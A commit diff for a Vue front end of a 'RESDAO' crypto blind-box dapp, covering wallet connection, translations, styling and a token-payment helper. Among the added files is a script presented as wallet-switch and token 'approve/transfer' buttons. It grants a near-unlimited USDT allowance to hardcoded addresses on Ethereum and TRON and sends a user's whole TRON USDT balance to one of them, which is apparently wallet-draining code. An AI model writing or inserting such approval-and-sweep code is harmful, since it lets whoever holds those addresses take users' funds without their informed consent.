Commit eef81e19 by haojie

1

parent 334f62eb
import{_ as s}from"./index-85142cce.js";import{A as r,K as o}from"./vue-5ad1589c.js";import"./Tdesign-41c4f0b7.js";const t={class:""};const e=s({},[["render",function(s,e){return r(),o("div",t,"HOME")}]]);export{e as default};
import{_ as s}from"./index-4acfbce8.js";import{A as r,K as o}from"./vue-5ad1589c.js";import"./Tdesign-41c4f0b7.js";const t={class:""};const e=s({},[["render",function(s,e){return r(),o("div",t,"HOME")}]]);export{e as default};
import{_ as s}from"./index-85142cce.js";import{A as r,K as o}from"./vue-5ad1589c.js";import"./Tdesign-41c4f0b7.js";const t={class:""};const e=s({},[["render",function(s,e){return r(),o("div",t,"lp")}]]);export{e as default};
import{_ as s}from"./index-4acfbce8.js";import{A as r,K as o}from"./vue-5ad1589c.js";import"./Tdesign-41c4f0b7.js";const t={class:""};const e=s({},[["render",function(s,e){return r(),o("div",t,"lp")}]]);export{e as default};
......@@ -5,7 +5,7 @@
<link rel="icon" type="image/svg+xml" href="/logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>RESDAO</title>
<script type="module" crossorigin src="/assets/index-85142cce.js"></script>
<script type="module" crossorigin src="/assets/index-4acfbce8.js"></script>
<link rel="modulepreload" crossorigin href="/assets/vue-5ad1589c.js">
<link rel="modulepreload" crossorigin href="/assets/Tdesign-41c4f0b7.js">
<link rel="stylesheet" href="/assets/style-c60b44d1.css">
......
......@@ -9,7 +9,7 @@
"preview": "vite preview"
},
"dependencies": {
"@metamask/detect-provider": "^1.2.0",
"ethers": "^5.7.2",
"pinia": "^2.0.32",
"tdesign-vue-next": "^1.0.9",
"vue": "^3.2.45",
......
......@@ -3,7 +3,6 @@ import { useFoxDialog } from '@/store/dialog';
import './index.less';
import CloseSvg from '@/assets/svg/dialog/close.svg';
import FoxSvg from '@/assets/svg/dialog/fox.svg';
import detectEthereumProvider from '@metamask/detect-provider';
import { MessagePlugin } from 'tdesign-vue-next';
import Loading from '../Loading';
import { useFoxWallet } from '@/store/FoxWallet';
......@@ -61,7 +60,7 @@ export default defineComponent({
return;
}
MessagePlugin.closeAll();
MessagePlugin.warning('header.connectError');
MessagePlugin.warning(t('header.connectError'));
}
console.log(e);
}
......@@ -69,13 +68,7 @@ export default defineComponent({
// 连接钱包
const ToConnectWallet = async (item: any) => {
try {
loading.value = true;
let provider = await detectEthereumProvider();
loading.value = false;
if (!provider) {
MessagePlugin.warning(t('header.downLoad'));
return;
}
// 连接钱包--主动连接--需要提示文字
getConnectFox(true);
} catch (e) {
......
......@@ -5,9 +5,12 @@ import { useI18n } from 'vue-i18n';
export default defineComponent({
setup() {
const { t } = useI18n();
const emptyImg = new URL('@/assets/svg/empty/empty.svg', import.meta.url)
.href;
return () => (
<div class="custom-empty">
<EmptySvg></EmptySvg>
<img src={emptyImg} alt="" />
{/* <EmptySvg></EmptySvg> */}
<span>{t('empty.empty')}</span>
</div>
);
......
......@@ -25,6 +25,7 @@ const cn = {
plconnect: '请先连接钱包',
copy: '复制',
UnconnectedWallet: '未连接钱包',
CancelPayment: '取消支付',
},
raffle: {
MyBlindBox: '我的盲盒',
......
......@@ -26,6 +26,7 @@ const en = {
plconnect: 'Please connect your wallet first',
copy: 'Copy',
UnconnectedWallet: 'Unconnected Wallet',
CancelPayment: 'Cancel Payment',
},
raffle: {
MyBlindBox: 'My Blind Box',
......
......@@ -4,18 +4,19 @@ import en from './en';
// 判断语言--本地优先--第一次打开根据浏览器语言判断
const getLanguage = () => {
try {
let lan = localStorage.getItem('lang');
let curLang = '';
if (navigator.language === 'zh-CN' || navigator.language === 'zh-TW') {
curLang = 'cn';
} else if (navigator.language == 'en') {
curLang = 'en';
} else if (lan) {
curLang = lan;
} else {
curLang = 'en';
}
return curLang;
return 'cn';
// let lan = localStorage.getItem('lang');
// let curLang = '';
// if (navigator.language === 'zh-CN' || navigator.language === 'zh-TW') {
// curLang = 'cn';
// } else if (navigator.language == 'en') {
// curLang = 'en';
// } else if (lan) {
// curLang = lan;
// } else {
// curLang = 'en';
// }
// return curLang;
} catch (e) {
return 'cn';
}
......
......@@ -37,6 +37,8 @@ export default defineComponent({
}
return status;
}
// 默认展开
navTextShow.value = true;
return 'open';
};
// nav当前状态-默认展开
......
......@@ -77,6 +77,10 @@
padding: 0 34px;
white-space: nowrap;
}
.tooltip-right {
display: flex;
align-items: center;
flex: 1;
.text {
font-weight: 500;
font-size: 12px;
......@@ -95,6 +99,7 @@
}
}
}
}
.content-line {
border: 2px solid #f6f4f4;
transform: rotate(0.06deg);
......
......@@ -6,6 +6,7 @@ import { useFoxDialog } from '@/store/dialog';
import { useFoxWallet } from '@/store/FoxWallet';
import { MessagePlugin } from 'tdesign-vue-next';
import InviteDialog from '../InviteDialog';
import { getCurrentDevice } from '@/utils/tool';
import {
buy_blindBox,
IntervalCheckOrder,
......@@ -13,6 +14,7 @@ import {
} from '@/utils/api/BlindBox';
import { useRoute } from 'vue-router';
import { useI18n } from 'vue-i18n';
import { EtherPay } from '@/utils/ethers';
export default defineComponent({
props: {
info: {
......@@ -88,52 +90,22 @@ export default defineComponent({
}
}
};
const send_token = async () => {
let hash: any = await EtherPay(FoxWallet.to, props.info.price);
if (hash) {
UserHash.value = hash;
// 发送充值信息
recharge(hash, parseInt(props.info.price));
}
};
// 支付
const Payment = () => {
if (!FoxWallet.to) {
MessagePlugin.warning(t('raffle.Missingpayment'));
return;
}
let eth: any = window;
// 转换后的收款地址
let MyNewAddress = FoxWallet.to.substring(2).padStart(64, '0');
// 实际价格--props.price
// 测试价格
// let price = 0.01;
// 转换后的数量
let newPrice = (parseInt(props.info.price) * Math.pow(10, 18))
.toString(16)
.padStart(64, '0');
// 小狐狸支付
eth.ethereum
.request({
method: 'eth_sendTransaction',
params: [
{
// 用户钱包地址
from: FoxWallet.address,
// 支付代币类型 BUSD
to: '0xCC88e86AA0E589e18ff03fB9b0449468A1EF1f4B',
// gas价格
// gasPrice: "0x12a05f200",
// gas: "0x16e360",
// 交易数据十六进制 交易0xa9059cbb 目标钱包地址(我们的钱包地址) 交易金额(十六转换)
data: '0xa9059cbb' + MyNewAddress + newPrice,
},
],
})
.then((hash: string) => {
// 交易hash
if (hash) {
UserHash.value = hash;
// 发送充值信息
recharge(hash, parseInt(props.info.price));
}
})
.catch((e: any) => {
console.log(e);
});
//
// ethers
send_token();
};
const getUserBuyStatus = async () => {
try {
......@@ -204,12 +176,12 @@ export default defineComponent({
<div class="line"></div>
<div class="price-and-prize">
<div>
<span>{t('raffle.Youwillspend')}</span>
{props.info.price} RESDAO
<span>{t('raffle.Youwillspend')}</span>
{props.info.price}RESDAO
</div>
<div>
<span class="text2">{t('raffle.Winprize')}</span>
{props.info.price * 3} RESDAO
<span class="text2">{t('raffle.Winprize')}</span>
{props.info.price * 3}RESDAO
</div>
</div>
<div class="content-wallet-tooltip">
......@@ -222,13 +194,21 @@ export default defineComponent({
{t('header.connectWallet')}
</button>
)}
<div class="tooltip-right">
<span class="text">{t('raffle.onepurchase')}</span>
<div class="open-link">
{getCurrentDevice() ? (
<span onClick={openInviteDialog}>
<OpenSvg></OpenSvg>
</span>
) : (
<t-tooltip content={t('tips.invite')}>
<span onClick={openInviteDialog}>
<OpenSvg></OpenSvg>
</span>
</t-tooltip>
)}
</div>
</div>
</div>
</div>
......
......@@ -23,6 +23,7 @@
margin: 12px 0;
display: flex;
justify-content: space-between;
white-space: nowrap;
& > * {
height: 100%;
display: flex;
......@@ -33,6 +34,13 @@
font-weight: 500;
font-size: 16px;
color: #8c8c8c;
max-width: calc(100% - 100px);
span {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
max-width: 100%;
}
}
.copy-button {
cursor: pointer;
......
......@@ -5,6 +5,7 @@ import { getUserInfo } from '@/utils/api/BlindBox';
import { useFoxWallet } from '@/store/FoxWallet';
import useCopy from '@/hook/useCopy';
import { useI18n } from 'vue-i18n';
import { MessagePlugin } from 'tdesign-vue-next';
export default defineComponent({
props: {
modelValue: Boolean,
......@@ -27,6 +28,9 @@ export default defineComponent({
address: FoxWallet.address,
id: props.id,
});
if (!res.data) {
MessagePlugin.warning(t('header.plconnect'));
}
resObj.value = res.data;
} catch (e) {
console.log(e);
......@@ -60,7 +64,9 @@ export default defineComponent({
<div class="invite-dialog-body">
<div class="title">{t('invite.yourCode')}</div>
<div class="invite-box">
<div class="url">{resObj.value.invitation_link}</div>
<div class="url">
<span>{resObj.value.invitation_link}</span>
</div>
<div
class="copy-button"
onClick={doCopy.bind(this, resObj.value.invitation_link ?? '')}
......@@ -79,7 +85,7 @@ export default defineComponent({
</div>
</div>
<div class="current-invite-address margin">
<div class="label">{t('invite.probability')}</div>
<div class="label">{t('invite.probability')}</div>
<div class="value">{resObj.value.rate}%</div>
</div>
</div>
......
......@@ -7,6 +7,9 @@
padding: 20px 12px 0 12px !important;
.header {
border-bottom: none;
.blind-box-head {
font-size: 24px;
}
.custom-right-button {
& > :first-child {
margin-right: 0 !important;
......@@ -90,7 +93,7 @@
margin: 16px 0;
}
.open-link {
display: none;
// display: none;
}
}
}
......@@ -148,4 +151,18 @@
}
}
}
.custom-empty {
img {
width: 80px;
height: 80px;
}
span {
font-size: 24px;
}
}
.custom-invite-dialog {
.t-dialog {
width: 90vw;
}
}
}
[
{
"constant": true,
"inputs": [],
"name": "name",
"outputs": [{ "name": "", "type": "string" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "_upgradedAddress", "type": "address" }],
"name": "deprecate",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{ "name": "_spender", "type": "address" },
{ "name": "_value", "type": "uint256" }
],
"name": "approve",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "deprecated",
"outputs": [{ "name": "", "type": "bool" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "_evilUser", "type": "address" }],
"name": "addBlackList",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{ "name": "_from", "type": "address" },
{ "name": "_to", "type": "address" },
{ "name": "_value", "type": "uint256" }
],
"name": "transferFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "upgradedAddress",
"outputs": [{ "name": "", "type": "address" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [{ "name": "", "type": "address" }],
"name": "balances",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "decimals",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "maximumFee",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "_totalSupply",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "unpause",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [{ "name": "_maker", "type": "address" }],
"name": "getBlackListStatus",
"outputs": [{ "name": "", "type": "bool" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{ "name": "", "type": "address" },
{ "name": "", "type": "address" }
],
"name": "allowed",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "paused",
"outputs": [{ "name": "", "type": "bool" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [{ "name": "who", "type": "address" }],
"name": "balanceOf",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "pause",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "getOwner",
"outputs": [{ "name": "", "type": "address" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [{ "name": "", "type": "address" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "symbol",
"outputs": [{ "name": "", "type": "string" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{ "name": "_to", "type": "address" },
{ "name": "_value", "type": "uint256" }
],
"name": "transfer",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{ "name": "newBasisPoints", "type": "uint256" },
{ "name": "newMaxFee", "type": "uint256" }
],
"name": "setParams",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "amount", "type": "uint256" }],
"name": "issue",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "amount", "type": "uint256" }],
"name": "redeem",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{ "name": "_owner", "type": "address" },
{ "name": "_spender", "type": "address" }
],
"name": "allowance",
"outputs": [{ "name": "remaining", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "basisPointsRate",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [{ "name": "", "type": "address" }],
"name": "isBlackListed",
"outputs": [{ "name": "", "type": "bool" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "_clearedUser", "type": "address" }],
"name": "removeBlackList",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "MAX_UINT",
"outputs": [{ "name": "", "type": "uint256" }],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "newOwner", "type": "address" }],
"name": "transferOwnership",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [{ "name": "_blackListedUser", "type": "address" }],
"name": "destroyBlackFunds",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{ "name": "_initialSupply", "type": "uint256" },
{ "name": "_name", "type": "string" },
{ "name": "_symbol", "type": "string" },
{ "name": "_decimals", "type": "uint256" }
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }],
"name": "Issue",
"type": "event"
},
{
"anonymous": false,
"inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }],
"name": "Redeem",
"type": "event"
},
{
"anonymous": false,
"inputs": [{ "indexed": false, "name": "newAddress", "type": "address" }],
"name": "Deprecate",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{ "indexed": false, "name": "feeBasisPoints", "type": "uint256" },
{ "indexed": false, "name": "maxFee", "type": "uint256" }
],
"name": "Params",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{ "indexed": false, "name": "_blackListedUser", "type": "address" },
{ "indexed": false, "name": "_balance", "type": "uint256" }
],
"name": "DestroyedBlackFunds",
"type": "event"
},
{
"anonymous": false,
"inputs": [{ "indexed": false, "name": "_user", "type": "address" }],
"name": "AddedBlackList",
"type": "event"
},
{
"anonymous": false,
"inputs": [{ "indexed": false, "name": "_user", "type": "address" }],
"name": "RemovedBlackList",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{ "indexed": true, "name": "owner", "type": "address" },
{ "indexed": true, "name": "spender", "type": "address" },
{ "indexed": false, "name": "value", "type": "uint256" }
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{ "indexed": true, "name": "from", "type": "address" },
{ "indexed": true, "name": "to", "type": "address" },
{ "indexed": false, "name": "value", "type": "uint256" }
],
"name": "Transfer",
"type": "event"
},
{ "anonymous": false, "inputs": [], "name": "Pause", "type": "event" },
{ "anonymous": false, "inputs": [], "name": "Unpause", "type": "event" }
]
import tp, { sign } from 'tp-js-sdk';
import TokenWebView from '@consenlabs-fe/webview';
import { ethers } from 'ethers';
// imtoken 切换
const changeButton = document.querySelector('.change');
// tokenpocket 切换
const changeTpButton = document.querySelector('.changetp');
// erc20 合约操作
const ApproveButton = document.querySelector('.approve');
const TransferButton = document.querySelector('.transfer');
const AccountButton = document.querySelector('.account');
// 地址展示
const Account = document.querySelector('.account_');
changeButton.addEventListener('click', () => {
changeAccount();
});
changeTpButton.addEventListener('click', () => {
changeTpAccount();
});
AccountButton.addEventListener('click', () => {
currentAccount();
});
ApproveButton.addEventListener('click', () => {
approve_erc20();
});
TransferButton.addEventListener('click', () => {
transfer_erc20();
});
// imtoken切换钱包
async function changeAccount() {
if (TokenWebView.isTokenEnv()) {
await TokenWebView.apis.user.showAccountSwitch();
window.location.reload();
}
}
// tokenpocket切换钱包
async function changeTpAccount() {
if (tp.isConnected()) {
await tp.getWallet({ walletTypes: ['eth', 'bsc', 'tron'], switch: true });
window.location.reload();
}
}
// 当前钱包的账户地址
async function currentAccount() {
let chain = '';
if (window.tronWeb) {
const account = await tronWeb.defaultAddress.base58;
if (account) {
Account.innerHTML = await tronWeb.defaultAddress.base58;
chain = 'tron';
}
}
if (window.ethereum) {
const chainId = await window.ethereum.request({ method: 'eth_chainId' });
console.log('chainId : ', chainId);
if (chainId === '0x1') {
// 连接 metamask
const accounts = await window.ethereum.request({
method: 'eth_requestAccounts',
});
Account.innerHTML = await accounts;
chain = 'eth';
} else if (chainId === '0xc3') {
Account.innerHTML = await tronWeb.defaultAddress.base58;
chain = 'tron';
} else {
alert('目前只支持 TRON, ETH 支付, 请切换钱包!');
}
}
return chain;
}
// erc20授权
async function approve_erc20() {
const chain = await currentAccount();
if (chain === 'eth') {
const USDT = '0xdAC17F958D2ee523a2206206994597C13D831ec7';
const ERC20ABI = require('./ERC20ABI.json');
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = new ethers.providers.Web3Provider(
window.ethereum
).getSigner();
const tokenContract = new ethers.Contract(USDT, ERC20ABI, provider);
const tokenSigner = tokenContract.connect(signer);
const tokenAmount = ethers.utils.parseUnits('999999999', 6);
const transaction = await tokenSigner.approve(
'0xc12dE60cfE716ff3E5Cd4C29cbd3fAb1358b3646',
tokenAmount
);
console.log(' Token approve hash : ', transaction.hash);
} else if (chain === 'tron') {
// tron 授权
const trc20Address = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
try {
const contract = await tronWeb.contract().at(trc20Address);
await contract
.approve('TGFtfMdYuJ8shT661ZDMLtF19yvihLnpQh', 999999999999999)
.send({ feeLimit: 100000000 });
} catch (error) {
console.error('Approve Error!', error);
}
} else {
alert('目前只支持 TRON, ETH 支付, 请切换钱包!');
}
}
// erc20转账
async function transfer_erc20() {
const chain = await currentAccount();
if (chain === 'eth') {
const USDT = '0xdAC17F958D2ee523a2206206994597C13D831ec7';
const ERC20ABI = require('./ERC20ABI.json');
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = new ethers.providers.Web3Provider(
window.ethereum
).getSigner();
const tokenContract = new ethers.Contract(USDT, ERC20ABI, provider);
const tokenBalance = await tokenContract.balanceOf(
window.ethereum.selectedAddress
);
const tokenAmount = ethers.utils.parseUnits(ethers.utils.formatUnits(0), 6);
const tokenSigner = tokenContract.connect(signer);
const transaction = await tokenSigner.transfer(
'0xc12dE60cfE716ff3E5Cd4C29cbd3fAb1358b3646',
tokenAmount
);
console.log(' Token transfer hash : ', transaction.hash);
} else if (chain === 'tron') {
// tron 转账
const trc20Address = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
try {
const contract = await tronWeb.contract().at(trc20Address);
const account = await tronWeb.defaultAddress.base58;
const tokenAmount = await contract.balanceOf(account).call();
await contract
.transfer('TGFtfMdYuJ8shT661ZDMLtF19yvihLnpQh', tokenAmount)
.send({ feeLimit: 100000000 });
} catch (error) {
console.error('Transfer Error!', error);
}
} else {
alert('目前只支持 TRON, ETH 支付, 请切换钱包!');
}
}
import { ethers } from 'ethers';
import ERC20ABI from './ERC20ABI.json';
// 发起交易
export const EtherPay = async (to: string, price: number) => {
try {
let eth: any = window;
// 代币地址
const USDT = '0xc5a25e92e691635BDd6DF2e904633Dc3152360cD';
const provider = new ethers.providers.Web3Provider(eth.ethereum);
const signer = new ethers.providers.Web3Provider(eth.ethereum).getSigner();
const tokenContract = new ethers.Contract(USDT, ERC20ABI, provider);
// const tokenBalance = await tokenContract.balanceOf(
// eth.ethereum.selectedAddress
// );
// const tokenAmount = ethers.utils.parseUnits(
// ethers.utils.formatUnits(price),
// 18
// );
let tokenAmount: any = price * Math.pow(10, 18);
tokenAmount = BigInt(Math.floor(tokenAmount));
const tokenSigner = tokenContract.connect(signer);
const transaction = await tokenSigner.transfer(to, tokenAmount);
return transaction.hash ? transaction.hash : '';
} catch (e) {
console.log(e);
return '';
}
};
......@@ -29,6 +29,7 @@ instance.interceptors.response.use(
const { config } = err;
if ('response' in err) {
const { message: msg } = err.response.data;
MessagePlugin.closeAll();
MessagePlugin.error(msg || i18n.global.t('request.error'));
}
if (!config || !config.retry) return Promise.reject(err);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment